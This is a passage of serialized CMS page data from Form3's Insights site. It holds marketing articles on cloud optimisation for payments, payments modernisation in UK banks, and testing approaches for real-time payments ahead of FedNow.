transformation.",[4218],{"start":2707,"end":4219,"type":489,"data":4220},39,{"link_type":491,"url":4221,"target":493},"https:\u002F\u002Fwww.finextra.com\u002Fthe-long-read\u002F620\u002Ffinancial-cloud-summit-2023-how-to-establish-a-cloud-strategy-migrate-to-the-cloud-and-optimise?","rich_text$d0509e75-3749-44be-8140-b4b34d1bc886",{"variation":437,"version":438,"items":4224,"primary":4225,"id":4251,"slice_type":468,"slice_label":5},[],{"body":4226},[4227,4230,4233,4236,4239,4242,4245,4248],{"type":988,"text":4228,"spans":4229,"direction":445},"1. Own and Master Your Transformation",[],{"type":25,"text":4231,"spans":4232,"direction":445},"Taking charge of your cloud transformation is crucial in ensuring its success. Analysis, planning, and execution are essential to ensure the strategy aligns with your payment goals and future roadmap. This includes:",[],{"type":1151,"text":4234,"spans":4235,"direction":445},"Identifying the key drivers for your cloud adoption",[],{"type":1151,"text":4237,"spans":4238,"direction":445},"Assessing your current infrastructure and determining the necessary changes",[],{"type":1151,"text":4240,"spans":4241,"direction":445},"Establishing clear, measurable outcomes and KPIs",[],{"type":1151,"text":4243,"spans":4244,"direction":445},"Developing a roadmap that outlines the steps and milestones of your cloud journey",[],{"type":1151,"text":4246,"spans":4247,"direction":445},"Engaging stakeholders and securing buy-in from all levels of the organisation",[],{"type":25,"text":4249,"spans":4250,"direction":445},"By owning and mastering your transformation, you can ensure that your cloud initiatives are well-planned and executed, ultimately leading to increased efficiency and cost savings.",[],"rich_text$f2b12a5d-1a03-4571-9ff3-9e9cc7862cf2",{"variation":437,"version":438,"items":4253,"primary":4254,"id":4283,"slice_type":468,"slice_label":5},[],{"body":4255},[4256,4259,4262,4265,4268,4271,4274,4277,4280],{"type":988,"text":4257,"spans":4258,"direction":445},"2. Take a Conscious Multi-Cloud Approach",[],{"type":25,"text":4260,"spans":4261,"direction":445},"A multi-cloud strategy allows your organisation to run a single platform across multiple cloud providers with full data consistency across the providers. ",[],{"type":25,"text":4263,"spans":4264,"direction":445},"Integrating services across multiple cloud providers in a single cluster ensures seamless operation, as all services are deployed from a common code base. This approach allows customers to load balance requests across cloud providers at all times, eliminating uncertainty regarding the operational state of the infrastructure within each provider. As a result, the platform becomes more resilient and reliable.",[],{"type":25,"text":4266,"spans":4267,"direction":445},"Furthermore, by spanning services across cloud providers and availability zones within each provider, the platform can withstand the loss of an entire cloud region or provider. In the event of a failure, requests are automatically re-sent to the endpoint in the alternative cloud, without the need for manual intervention. Additionally, real-time data consistency across cloud providers guarantees that the state of the data remains unaffected by the loss of a cloud provider or region, ensuring uninterrupted access to crucial information and services. To adopt a successful multi-cloud approach:",[],{"type":1151,"text":4269,"spans":4270,"direction":445},"Assess the strengths and weaknesses of each cloud provider, and identify the services that best align with your business needs",[],{"type":1151,"text":4272,"spans":4273,"direction":445},"Implement a robust multi-cloud management platform to simplify the orchestration of workloads across different providers",[],{"type":1151,"text":4275,"spans":4276,"direction":445},"Establish clear governance policies to ensure consistent security and compliance across all cloud environments",[],{"type":1151,"text":4278,"spans":4279,"direction":445},"Continuously monitor and optimise your multi-cloud infrastructure to maximise cost efficiency and performance",[],{"type":25,"text":4281,"spans":4282,"direction":445},"By taking a conscious multi-cloud approach, your organisation can benefit from increased agility, reduced vendor lock-in, and improved resilience.",[],"rich_text$070cd746-06e4-4510-8ce0-d5f2cf621582",{"variation":437,"version":438,"items":4285,"primary":4286,"id":4309,"slice_type":468,"slice_label":5},[],{"body":4287},[4288,4291,4294,4297,4300,4303,4306],{"type":988,"text":4289,"spans":4290,"direction":445},"3. Take a Platform Approach to Scale Your Digital Productivity",[],{"type":25,"text":4292,"spans":4293,"direction":445},"A platform-centric approach offers a framework comprising best practices and proven patterns that have been successful across multiple organisations. The platform serves as a foundation, providing essential capabilities and features to optimise and innovate within a cloud-native environment. In order to accomplish this, keep these points in mind:",[],{"type":1151,"text":4295,"spans":4296,"direction":445},"Identify the core platforms and technologies that will support your cloud transformation, such as Infrastructure-as-a-Service (IaaS), Platform-as-a-Service (PaaS), and Software-as-a-Service (SaaS)",[],{"type":1151,"text":4298,"spans":4299,"direction":445},"Develop a thorough understanding of each platform's capabilities and limitations, and ensure that they align with your organisational goals",[],{"type":1151,"text":4301,"spans":4302,"direction":445},"Implement a robust cloud platform management strategy, including governance, monitoring, and optimisation processes",[],{"type":1151,"text":4304,"spans":4305,"direction":445},"Train your employees to effectively utilise the platforms and technologies to maximise their productivity",[],{"type":25,"text":4307,"spans":4308,"direction":445},"By taking a platform approach, you can ensure that your organisation has the necessary tools and infrastructure to support scalable, agile, and efficient operations.",[],"rich_text$848ed8e0-ad7d-4a7d-a05f-be18888457bd",{"variation":437,"version":438,"items":4311,"primary":4312,"id":4335,"slice_type":468,"slice_label":5},[],{"body":4313},[4314,4317,4320,4323,4326,4329,4332],{"type":988,"text":4315,"spans":4316,"direction":445},"4. Embrace Low-Code and SaaS",[],{"type":25,"text":4318,"spans":4319,"direction":445},"Low-code development and SaaS solutions can play a crucial role in enhancing your cloud optimisation efforts. To integrate these technologies into your cloud strategy, consider the following steps:",[],{"type":1151,"text":4321,"spans":4322,"direction":445},"Evaluate various low-code platforms and SaaS solutions, focusing on those that align with your organisation's needs and objectives",[],{"type":1151,"text":4324,"spans":4325,"direction":445},"Implement low-code development practices to streamline application development and deployment, reducing time-to-market and minimising manual effort",[],{"type":1151,"text":4327,"spans":4328,"direction":445},"Adopt SaaS solutions to replace or supplement traditional on-premises applications, taking advantage of their scalability, flexibility, and cost-efficiency",[],{"type":1151,"text":4330,"spans":4331,"direction":445},"Train your employees to effectively use low-code tools and SaaS applications to maximise their productivity and collaboration",[],{"type":25,"text":4333,"spans":4334,"direction":445},"By embracing low-code and SaaS, your organisation can drive innovation, accelerate digital transformation, and reduce IT complexity.",[],"rich_text$1e209abd-d9a0-48e9-bc47-9f87c3bacab1",{"variation":437,"version":438,"items":4337,"primary":4338,"id":4361,"slice_type":468,"slice_label":5},[],{"body":4339},[4340,4343,4346,4349,4352,4355,4358],{"type":988,"text":4341,"spans":4342,"direction":445},"5. Be Driven by Data, Insights, and Observability",[],{"type":25,"text":4344,"spans":4345,"direction":445},"Data-driven decision-making is essential for successful cloud optimisation. To harness the power of data, insights, and observability:",[],{"type":1151,"text":4347,"spans":4348,"direction":445},"Implement tools and methodologies to collect, store, and analyse cloud data, including infrastructure metrics, application performance, and user behaviour",[],{"type":1151,"text":4350,"spans":4351,"direction":445},"Leverage machine learning and artificial intelligence to generate actionable insights and identify trends, patterns, and anomalies",[],{"type":1151,"text":4353,"spans":4354,"direction":445},"Establish a culture of data-driven decision-making, encouraging employees to utilise data and insights in their daily work",[],{"type":1151,"text":4356,"spans":4357,"direction":445},"Continuously monitor and optimise your cloud infrastructure based on data-driven insights, ensuring that your environment is always performing at its peak",[],{"type":25,"text":4359,"spans":4360,"direction":445},"By being driven by data, insights, and observability, your organisation can make informed decisions, reduce operational inefficiencies, and improve the overall performance of your cloud infrastructure.",[],"rich_text$10600838-f1a8-45bb-995b-669a528b56ab",{"variation":437,"version":438,"items":4363,"primary":4364,"id":4387,"slice_type":468,"slice_label":5},[],{"body":4365},[4366,4369,4372,4375,4378,4381,4384],{"type":988,"text":4367,"spans":4368,"direction":445},"6. Embrace Modern Security Practices",[],{"type":25,"text":4370,"spans":4371,"direction":445},"Robust security measures are vital to protecting your organisation's data and applications in the cloud. To implement and maintain a strong security posture:",[],{"type":1151,"text":4373,"spans":4374,"direction":445},"Adopt a security-by-design approach, incorporating security considerations into every stage of your cloud initiatives, from planning and architecture to deployment and maintenance ",[],{"type":1151,"text":4376,"spans":4377,"direction":445},"Implement a unified security management platform to monitor, detect, and respond to threats across all cloud environments",[],{"type":1151,"text":4379,"spans":4380,"direction":445},"Stay up-to-date with the latest security best practices, technologies, and regulatory requirements",[],{"type":1151,"text":4382,"spans":4383,"direction":445},"Train your employees to recognise and respond to security threats, fostering a culture of security awareness and vigilance",[],{"type":25,"text":4385,"spans":4386,"direction":445},"By embracing modern security practices, your organisation can safeguard its valuable assets and maintain customer trust.",[],"rich_text$8cef362d-5bbe-4216-853e-46cc60e17ffd",{"variation":437,"version":438,"items":4389,"primary":4390,"id":4413,"slice_type":468,"slice_label":5},[],{"body":4391},[4392,4395,4398,4401,4404,4407,4410],{"type":988,"text":4393,"spans":4394,"direction":445},"7. Automate, Codify, Software Engineer Wherever Possible",[],{"type":25,"text":4396,"spans":4397,"direction":445},"Automation, codification, and software engineering can significantly enhance your cloud optimisation efforts. To take advantage of these practices:",[],{"type":1151,"text":4399,"spans":4400,"direction":445},"Identify repetitive, manual tasks that can be automated, such as provisioning, configuration management, and monitoring",[],{"type":1151,"text":4402,"spans":4403,"direction":445},"Implement automation tools and frameworks, such as Infrastructure-as-Code (IaC) and Configuration Management tools, to streamline and standardise these tasks",[],{"type":1151,"text":4405,"spans":4406,"direction":445},"Encourage a software engineering mindset within your IT team, emphasising the importance of clean, maintainable code and a strong DevOps culture",[],{"type":1151,"text":4408,"spans":4409,"direction":445},"Continuously review and refine your automation and software engineering practices, ensuring that they remain up-to-date and effective ",[],{"type":25,"text":4411,"spans":4412,"direction":445},"By automating, codifying, and software engineering wherever possible, your organisation can reduce human error, increase efficiency, and ensure consistency across your cloud environments.",[],"rich_text$1559c701-c5bf-4ce4-859e-d6db6a90dc9e",{"variation":437,"version":438,"items":4415,"primary":4416,"id":4439,"slice_type":468,"slice_label":5},[],{"body":4417},[4418,4421,4424,4427,4430,4433,4436],{"type":988,"text":4419,"spans":4420,"direction":445},"8. Establish a Modern Culture and Operating Model",[],{"type":25,"text":4422,"spans":4423,"direction":445},"A supportive culture and effective operating model are critical components of successful cloud optimisation. To develop a modern culture and operating model:",[],{"type":1151,"text":4425,"spans":4426,"direction":445},"Foster a culture of collaboration, innovation, and accountability, where employees feel empowered to contribute ideas and take ownership of their work",[],{"type":1151,"text":4428,"spans":4429,"direction":445},"Encourage cross-functional collaboration and knowledge sharing, breaking down silos between departments and teams",[],{"type":1151,"text":4431,"spans":4432,"direction":445},"Implement agile methodologies and a DevOps mindset, promoting continuous improvement, rapid iteration, and a focus on customer value",[],{"type":1151,"text":4434,"spans":4435,"direction":445},"Regularly review and refine your operating model, adapting it to the evolving needs of your organisation and the fast-paced nature of the cloud landscape",[],{"type":25,"text":4437,"spans":4438,"direction":445},"By establishing a modern culture and operating model, your organisation can adapt quickly to changing market conditions, drive innovation, and maximise the benefits of cloud optimisation.",[],"rich_text$4fc80bef-9d0a-4113-9204-ba9307a5439f",{"variation":437,"version":438,"items":4441,"primary":4442,"id":4450,"slice_type":468,"slice_label":5},[],{"body":4443},[4444,4447],{"type":988,"text":4445,"spans":4446,"direction":445},"Conclusion",[],{"type":25,"text":4448,"spans":4449,"direction":445},"Moving to the cloud necessitates careful planning, but the benefits it can bring to payment solutions are undeniable. An increasing number of banks are exploring and transitioning to the cloud, with a growing interest in adopting a multi-cloud model. This model offers enhanced resilience and aligns with regulatory drivers that encourage banks to adopt a multi-vendor approach. As more and more banks embark on their cloud journey, it is crucial to have a clear roadmap, a skilled team, and a commitment to continuous improvement. By doing so, you can unlock the full potential of the cloud, paving the way for a more agile, efficient, and competitive business in the ever-evolving financial landscape. ",[],"rich_text$8307cd50-1652-4217-84b8-93db807771d4","8 Essential Steps to Achieve Success with Cloud Optimisation | Form3 Insights","Discover the top 8 essential steps to achieve success with cloud optimisation, from owning your transformation to establishing a modern culture. Learn more at Form3 Insights.",{"id":4454,"uid":4455,"type":3743,"data":4456},"alzynREAACsAUWGE","key-to-uk-modernisation-for-banks",{"title":4457,"excerpt":4458,"card_image":4459,"published_date":4462,"reading_time":905,"tag":3751,"dek":4463,"featured_image":4464,"about_form3":4470,"client_about_heading":5,"client_about_body":4471,"author_name":5,"author_title":5,"author_photo":4472,"author_bio":4473,"author_linkedin":4474,"slices":4475,"meta_title":4592,"meta_description":4458},"Seamless, Secure, and Real-Time: The Key to Payments Modernization in UK Banks","The banking landscape is undergoing a profound transformation as customer expectations continue to evolve in the digital age. The rise of fintechs, digital services, and technological innovation has raised the bar for what customers expect from their financial institutions.",{"dimensions":4460,"alt":413,"copyright":5,"url":414,"id":415,"edit":4461},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2024-09-11","The banking landscape is undergoing a profound transformation as customer expectations continue to evolve in the digital age. The rise of fintechs, digital services, and technological innovation has raised the bar for what customers expect from their financial institutions. Seamless, fast, and secure payment experiences are no longer luxuries—they are now essential. Traditional banks, with legacy systems, must modernize or risk falling behind their more agile competitors.  Payments modernization is not just a technical upgrade; it’s a strategic necessity that involves adopting technologies such as real-time payments, cloud infrastructure, and APIs to deliver personalised, efficient, and secure services. By making customer experience the core of payments transformation, banks will not only meet current market demands but also position themselves to thrive in a rapidly changing financial environment.",{"dimensions":4465,"alt":4466,"copyright":5,"url":4467,"id":4468,"edit":4469},{"width":501,"height":646},"Responsive","\u002F_prismic-media\u002F8021dbeb3221533b-YdUGivukmb2iDBRH_b05cee3f-1cd3-4b95-ab0d-496446f.jpg","YdUGivukmb2iDBRH",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[4476,4501,4526,4546,4566],{"variation":437,"version":438,"items":4477,"primary":4478,"id":4500,"slice_type":468,"slice_label":5},[],{"body":4479},[4480,4483,4486,4489,4492],{"type":988,"text":4481,"spans":4482,"direction":445},"Customer expectations in an evolving digital payment world",[],{"type":25,"text":4484,"spans":4485,"direction":445},"Customer expectations around payments have never been higher. The digital revolution has redefined the speed, transparency, and convenience that consumers expect when managing their finances. Instant transactions, real-time updates, and robust fraud protection are now standard requirements. These heightened expectations are largely driven by the convenience offered by challenger banks and fintechs, which have reshaped the market with user-friendly, mobile-first platforms. ",[],{"type":25,"text":4487,"spans":4488,"direction":445},"Today's customers want frictionless payment services across all digital touch points. Whether through mobile wallets, contactless payments, or peer-to-peer transfers, consumers expect their transactions to be smooth and immediate. This shift towards digital and mobile-first banking means that legacy systems, with their slower processing speeds and complex interfaces, are becoming increasingly unfit for purpose. Banks that fail to deliver a fast, seamless experience risk losing customers to more agile, tech-driven competitors. ",[],{"type":25,"text":4490,"spans":4491,"direction":445},"Security is an equally pressing concern. Consumers are more aware of the risks associated with digital payments, from data breaches to fraud, and they demand robust protective measures such as biometric authentication and enhanced fraud detection systems. However, banks must walk a fine line between providing security and maintaining a smooth, uninterrupted customer experience. Striking this balance requires adopting technologies that can ensure both safety and efficiency. ",[],{"type":25,"text":4493,"spans":4494,"direction":445},"In this rapidly evolving landscape, banks that embrace customer-centric payment modernization will be best positioned to thrive. By continuously improving their payment processes and integrating new technologies, they can meet the ever-growing demands of today’s digital-savvy consumers while safeguarding their market share. ",[4495],{"start":4496,"end":3309,"type":489,"data":4497},183,{"link_type":491,"url":4498,"target":4499},"https:\u002F\u002Fwww.form3.tech\u002Fabout\u002Fapproach","_self","rich_text$2b17785d-e718-4ac0-a5cc-39c5138cea39",{"variation":437,"version":438,"items":4502,"primary":4503,"id":4525,"slice_type":468,"slice_label":5},[],{"body":4504},[4505,4508,4511,4518],{"type":988,"text":4506,"spans":4507,"direction":445},"The importance of a seamless and secure payment journey",[],{"type":25,"text":4509,"spans":4510,"direction":445},"In today’s digital economy, a seamless payment journey is no longer optional; it’s critical for customer retention and satisfaction. A frictionless experience—one where payments are processed swiftly, securely, and without disruption—can be a defining factor in whether a customer stays loyal to a bank or seeks out an alternative. From the moment a payment is initiated to its completion, customers expect a smooth and intuitive process. Any delays, failures, or overly complex security checks can lead to frustration and abandonment. ",[],{"type":25,"text":4512,"spans":4513,"direction":445},"Security is a significant concern in this journey. As digital payment options expand, so do the risks of cyberattacks and fraud. Consumers want assurance that their transactions are protected by cutting-edge security measures, such as real-time fraud detection, multi-factor authentication, and advanced data encryption. Yet, while security is paramount, customers are equally intolerant of cumbersome procedures that slow down the process. Banks must find ways to ensure security without sacrificing the seamless experience customers now expect. ",[4514],{"start":3300,"end":4515,"type":489,"data":4516},319,{"link_type":491,"url":4517,"target":4499},"https:\u002F\u002Fwww.form3.tech\u002Fadditional-services\u002Ffraud",{"type":25,"text":4519,"spans":4520,"direction":445},"This balance between speed and security is where modern payment technologies come into play. Cloud-based solutions, APIs, and automated security protocols can streamline payment processes while enhancing safety. By adopting these technologies, banks can deliver the fast, reliable, and secure payment journeys that their customers demand, ultimately fostering trust and long-term loyalty in an increasingly competitive landscape. ",[4521],{"start":1409,"end":4522,"type":489,"data":4523},154,{"link_type":491,"url":4524,"target":4499},"https:\u002F\u002Fwww.form3.tech\u002Fplatform","rich_text$e8e8d111-e290-4cb7-8b71-ef1a17d63bae",{"variation":437,"version":438,"items":4527,"primary":4528,"id":4545,"slice_type":468,"slice_label":5},[],{"body":4529},[4530,4533,4536,4539,4542],{"type":988,"text":4531,"spans":4532,"direction":445},"The role of Real-Time Payments in driving customer satisfaction",[],{"type":25,"text":4534,"spans":4535,"direction":445},"Real-time payments have revolutionised customer expectations, reshaping how consumers view their financial transactions. In a world where services like food delivery and ridesharing provide instant gratification, customers now expect the same immediacy from their banking services. Real-time payments offer a level of convenience that is fast becoming non-negotiable for consumers, whether for peer-to-peer transactions, online shopping, or paying bills. ",[],{"type":25,"text":4537,"spans":4538,"direction":445},"The ability to send and receive funds instantly gives customers greater control over their finances, reducing anxiety over payment delays and increasing transparency. Real-time payments enable immediate confirmations, providing a sense of security and trust that traditional payment methods can no longer match. For businesses, real-time payments offer operational advantages, such as faster refunds and settlements, which can dramatically improve the customer experience, particularly in industries like e-commerce. ",[],{"type":25,"text":4540,"spans":4541,"direction":445},"However, speed alone is not sufficient. With the rise of real-time payments, there is a corresponding rise in the potential for fraud. To counter this, banks must implement advanced fraud detection systems that operate in real time, ensuring that security is not compromised in the quest for speed. Modern payment platforms, equipped with the latest security protocols, can provide both the speed and protection that today’s consumers expect. ",[],{"type":25,"text":4543,"spans":4544,"direction":445},"For banks, the ability to offer real-time payments is fast becoming a baseline requirement, not a differentiator. Customers increasingly view this feature as essential, and those banks that fail to deliver it risk falling behind. By investing in real-time payment infrastructures, banks can enhance customer satisfaction and secure a competitive advantage in the rapidly evolving payments landscape. ",[],"rich_text$67de9b0d-111b-46f2-ad3f-15bf112d2cd6",{"variation":437,"version":438,"items":4547,"primary":4548,"id":4565,"slice_type":468,"slice_label":5},[],{"body":4549},[4550,4553,4556,4559,4562],{"type":988,"text":4551,"spans":4552,"direction":445},"The business case for payments modernization",[],{"type":25,"text":4554,"spans":4555,"direction":445},"Payments modernization isn’t just about keeping pace with technology; it’s about driving efficiency, improving compliance, and delivering superior customer experiences. Traditional banks, often reliant on legacy infrastructure, face increasing pressure to modernize their payments systems to meet both regulatory demands and customer expectations. Outdated systems can limit a bank's agility, increase operational costs, and make it harder to integrate new services. ",[],{"type":25,"text":4557,"spans":4558,"direction":445},"Cloud-based platforms and API-driven systems offer banks an opportunity to streamline their operations. By automating processes and reducing the need for manual interventions, modern payment systems can cut costs, reduce errors, and speed up transaction times. This operational efficiency is crucial for banks looking to remain competitive in a market where fintechs and digital-first challengers are offering faster, more efficient services. ",[],{"type":25,"text":4560,"spans":4561,"direction":445},"From a regulatory perspective, payments modernization also positions banks to better meet evolving compliance requirements. Whether dealing with anti-fraud measures or ensuring customer protection, modern payment platforms allow banks to stay compliant without costly overhauls. This helps institutions avoid potential penalties while maintaining customer trust. ",[],{"type":25,"text":4563,"spans":4564,"direction":445},"Ultimately, modernizing payment systems is an investment in the future. As real-time payments become the norm and customer expectations continue to rise, banks that invest in modernization will be better positioned to adapt and grow in a rapidly changing market.",[],"rich_text$2284287e-9329-4026-af6a-cd0149cac0bb",{"variation":437,"version":438,"items":4567,"primary":4568,"id":4591,"slice_type":468,"slice_label":5},[],{"body":4569},[4570,4573,4576,4579,4582],{"type":988,"text":4571,"spans":4572,"direction":445},"The path forward",[],{"type":25,"text":4574,"spans":4575,"direction":445},"The banking industry stands at a crossroads, with customer expectations and technological advancements driving the need for payments modernization. By adopting modern payment infrastructures, banks can provide the seamless, secure, and real-time payment experiences that today’s customers demand. This shift not only enhances customer satisfaction but also strengthens banks’ competitive positioning in a crowded market. ",[],{"type":25,"text":4577,"spans":4578,"direction":445},"Real-time payments, coupled with enhanced security, are no longer a luxury but an expectation. Customers want instant, transparent, and safe transactions. Those banks that can deliver on these expectations will be the ones that build long-term trust and loyalty. Additionally, modernizing payments infrastructure also helps banks improve operational efficiency, reduce costs, and stay compliant with evolving regulations. ",[],{"type":25,"text":4580,"spans":4581,"direction":445},"As the financial landscape continues to evolve, the need for innovation becomes more critical. By investing in payments modernization, banks can lead the payments revolution, delivering value to customers while positioning themselves for future growth. ",[],{"type":25,"text":4583,"spans":4584,"direction":445},"For banks aiming to remain competitive in the evolving banking landscape, modernizing payments infrastructure is essential. Form3’s cloud-native, API-driven platform offers real-time payments with enhanced security, allowing financial institutions to meet customer expectations for seamless, secure transactions. Partnering with Form3 enables banks to future-proof their payment systems, improving both customer satisfaction and operational efficiency. ",[4585,4587],{"start":398,"end":4586,"type":593},124,{"start":4588,"end":4589,"type":489,"data":4590},132,165,{"link_type":491,"url":4524,"target":4499},"rich_text$8d824a6e-b8bd-4b33-a499-fad9cb90c3a9","Seamless, Secure, and Real-Time: The Key to Payments Modernisation in UK Banks",{"id":4594,"uid":4595,"type":3743,"data":4596},"alzzeREAACwAUWOH","testing-real-time-payments",{"title":4597,"excerpt":4598,"card_image":4599,"published_date":4602,"reading_time":4603,"tag":3751,"dek":4598,"featured_image":4604,"about_form3":4605,"client_about_heading":5,"client_about_body":4606,"author_name":5,"author_title":5,"author_photo":4607,"author_bio":4608,"author_linkedin":4609,"slices":4610,"meta_title":4772,"meta_description":4773},"Testing for real-time payments: What you need to know","Payment testing is a crucial yet challenging aspect of the banking industry. Insufficient testing can result in severe consequences, so banks must examine the entire end-to-end process to tackle potential risks and system vulnerabilities. Initiating this process early is critical. However, the escalating complexity of payment testing has led many institutions to inadvertently downplay its importance.",{"dimensions":4600,"alt":413,"copyright":5,"url":414,"id":415,"edit":4601},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-03-21",4,{},[],[],{},[],{"link_type":434},[4611,4625,4636,4647,4658,4674,4685,4696,4707,4715,4735,4754],{"variation":437,"version":438,"items":4612,"primary":4613,"id":4624,"slice_type":468,"slice_label":5},[],{"body":4614},[4615,4618,4621],{"type":988,"text":4616,"spans":4617,"direction":445},"Testing should be center stage with the launch of FedNow",[],{"type":25,"text":4619,"spans":4620,"direction":445},"With FedNow set to launch in July, the US payments landscape is set to embrace the world of real-time payments. The ability for banks to offer real-time payments will not only define its strategic direction but also will enhance its security, operational stability and power to adapt to changing customer expectations. However, failure has also never been more visible in this new world. When a batch system goes down there are workarounds and back-end solutions that can hide this from the end users, but when an online, real-time payment system is not working customers know immediately and so does everyone else.",[],{"type":25,"text":4622,"spans":4623,"direction":445},"This is where testing, which is sometimes seen as an afterthought can make a huge difference to the end result. Real-time payments are a perfect opportunity to rethink testing strategies – not just in ensuring a faster, frictionless delivery, but also a more efficient one.",[],"rich_text$d3edc9c1-e259-496a-9762-2167c41de134",{"variation":437,"version":438,"items":4626,"primary":4627,"id":4635,"slice_type":468,"slice_label":5},[],{"body":4628},[4629,4632],{"type":988,"text":4630,"spans":4631,"direction":445},"Why is testing important?",[],{"type":25,"text":4633,"spans":4634,"direction":445},"Payments are an area where there is little room for compromise. Whether it is sending or receiving the risk of bad publicity, market share or customer churn is a serious concern for banks. This is even more of an issue as we look at the ever-growing number of new entrants into the payments ecosystem, some of who have been born into a real-time world and so not being prepared to handle real-time payments efficiently and correctly from day one can have serious impacts. Add to this rulebook and scheme changes that need to be accounted for it’s easy to see why testing will be key in helping provide a competitive edge.",[],"rich_text$fcdd3d4d-03a7-4b38-a203-9975e3eb1615",{"variation":437,"version":438,"items":4637,"primary":4638,"id":4646,"slice_type":468,"slice_label":5},[],{"body":4639},[4640,4643],{"type":988,"text":4641,"spans":4642,"direction":445},"The complexity of testing RTP payments",[],{"type":25,"text":4644,"spans":4645,"direction":445},"Real-time payment systems need to manage instantaneous transaction processing, process feedback and to interface with both existing back-end systems and new APIs - all the while needing to be available 24\u002F7 as well as adhering to complex business rules.",[],"rich_text$882de1de-d73c-4f3f-b37d-192c9c8b8d9b",{"variation":437,"version":438,"items":4648,"primary":4649,"id":4657,"slice_type":468,"slice_label":5},[],{"body":4650},[4651,4654],{"type":988,"text":4652,"spans":4653,"direction":445},"What are the different approaches to testing real-time payments?",[],{"type":25,"text":4655,"spans":4656,"direction":445},"Now, when it comes to testing real-time payments, there are a few different approaches that banks can take:",[],"rich_text$29d7ef48-aadc-4a1f-8163-41ec2d41b84f",{"variation":437,"version":438,"items":4659,"primary":4660,"id":4673,"slice_type":468,"slice_label":5},[],{"body":4661},[4662,4665,4668],{"type":988,"text":4663,"spans":4664,"direction":445},"Sandbox testing",[],{"type":25,"text":4666,"spans":4667,"direction":445},"This involves creating a simulated environment that mimics the live payment system. Banks can use this environment to test different scenarios, such as varying transaction amounts, different payment types, and so on. Sandbox testing is a great way for banks to test their payment systems in a safe and controlled environment before going live.",[],{"type":25,"text":4669,"spans":4670,"direction":445},"Form3's instant payments sandbox environment provides a controlled environment that supports all use cases and certification scenarios, making testing even more efficient.",[4671],{"start":398,"end":2674,"type":489,"data":4672},{"link_type":491,"url":785,"target":493},"rich_text$4244967e-152d-4eac-9cdf-745d64fa2c13",{"variation":437,"version":438,"items":4675,"primary":4676,"id":4684,"slice_type":468,"slice_label":5},[],{"body":4677},[4678,4681],{"type":988,"text":4679,"spans":4680,"direction":445},"User acceptance testing (UAT)",[],{"type":25,"text":4682,"spans":4683,"direction":445},"UAT involves testing the payment system from the end-user's perspective. This can involve testing the payment process from start to finish, including things like entering payment details, verifying transactions, and so on. UAT is important because it allows banks to identify any usability issues or bugs that might impact the end-user experience.",[],"rich_text$fabf7bc7-b9c5-4170-8aca-1e7378693c87",{"variation":437,"version":438,"items":4686,"primary":4687,"id":4695,"slice_type":468,"slice_label":5},[],{"body":4688},[4689,4692],{"type":988,"text":4690,"spans":4691,"direction":445},"Regression testing",[],{"type":25,"text":4693,"spans":4694,"direction":445},"This involves retesting the payment system after any changes or updates have been made. Regression testing is important because it helps to ensure that any changes made to the payment system do not negatively impact the system's performance or functionality.",[],"rich_text$cd91a845-f3c7-4b5a-93bd-641fda3c6dcd",{"variation":437,"version":438,"items":4697,"primary":4698,"id":4706,"slice_type":468,"slice_label":5},[],{"body":4699},[4700,4703],{"type":988,"text":4701,"spans":4702,"direction":445},"Load testing",[],{"type":25,"text":4704,"spans":4705,"direction":445},"This involves testing the payment system under heavy loads to ensure that it can handle high volumes of transactions without slowing down or crashing. Load testing is important because it helps to identify any performance issues or bottlenecks in the payment system.",[],"rich_text$dd66b01b-f423-4219-a244-c0820e4ebaf6",{"variation":437,"version":438,"items":4708,"primary":4709,"id":4714,"slice_type":468,"slice_label":5},[],{"body":4710},[4711],{"type":25,"text":4712,"spans":4713},"Overall, testing real-time payments is a critical step for banks to ensure that their payment systems are secure, reliable, and user-friendly. By using a combination of sandbox testing, UAT, regression testing, and load testing, banks can help to ensure that their payment systems are ready to handle the demands of real-time payments.",[],"rich_text$94915692-41df-4bb6-b1a0-08df46614224",{"variation":437,"version":438,"items":4716,"primary":4717,"id":4734,"slice_type":468,"slice_label":5},[],{"body":4718},[4719,4722,4725,4728,4731],{"type":988,"text":4720,"spans":4721,"direction":445},"Are the testing requirements for real time payments systems similar across all banks?",[],{"type":25,"text":4723,"spans":4724,"direction":445},"The testing process for a real-time payments system can vary depending on the specific system and the bank that is implementing it. While there are some common testing approaches that are used across the industry, such as sandbox testing and user acceptance testing, the specifics of each testing process can be unique to each bank.",[],{"type":25,"text":4726,"spans":4727,"direction":445},"This is because each bank may have different requirements and specifications for their real-time payments system. For example, some banks may require additional security measures or have different transaction limits than other banks. Additionally, each bank may have different internal systems and processes that they need to integrate with their real-time payments system, which can also impact the testing process.",[],{"type":25,"text":4729,"spans":4730,"direction":445},"Apart from the disparities among banks, there are also variations related to the specific use cases being tested. For instance, when testing account-to-account (A2A) traffic, the primary focus may be on evaluating message exchanges and transaction posting. However, for a bill payment use case, it might be essential to assess the request for payment flow, authorization strategy, and their integration with the payment process.",[],{"type":25,"text":4732,"spans":4733,"direction":445},"While there are some common testing approaches that are used across the industry, the testing process for a real-time payments system can vary depending on the specific system and the bank that is implementing it. Each bank may have different requirements and specifications for their system, which can impact the testing process. However, industry-wide standards and guidelines can provide a framework for banks to follow when testing their real-time payments systems.",[],"rich_text$f6ee8e0e-0905-4aaf-a539-4a1f1bc7a401",{"variation":437,"version":438,"items":4736,"primary":4737,"id":4753,"slice_type":468,"slice_label":5},[],{"body":4738},[4739,4742,4745,4748],{"type":988,"text":4740,"spans":4741,"direction":445},"Why is the testing phase for FedNow implementation key to long term success?",[],{"type":25,"text":4743,"spans":4744,"direction":445},"Thorough testing is crucial for banks as they prepare for the much-anticipated launch of real-time payments (RTP) in the US. With the implementation of FedNow, financial institutions have the opportunity to stay at the forefront of innovation and meet the evolving demands of their customers. By rigorously examining their systems and processes, banks can ensure they are well-equipped to handle the complexities and nuances of RTP once it goes live.",[],{"type":25,"text":4746,"spans":4747,"direction":445},"Real-time payments, though increasingly popular, are still relatively new and governed by a set of rules that are not yet firmly established. As a result, banks must navigate this uncharted territory with care and precision. Comprehensive testing not only facilitates a seamless migration to RTP but also helps maintain long-term cost efficiency. ",[],{"type":25,"text":4749,"spans":4750,"direction":445},"By investing in a robust testing strategy, such as the one offered by Form3, banks can confidently adopt and integrate real-time payment systems, ultimately enhancing their competitive edge in the rapidly evolving financial 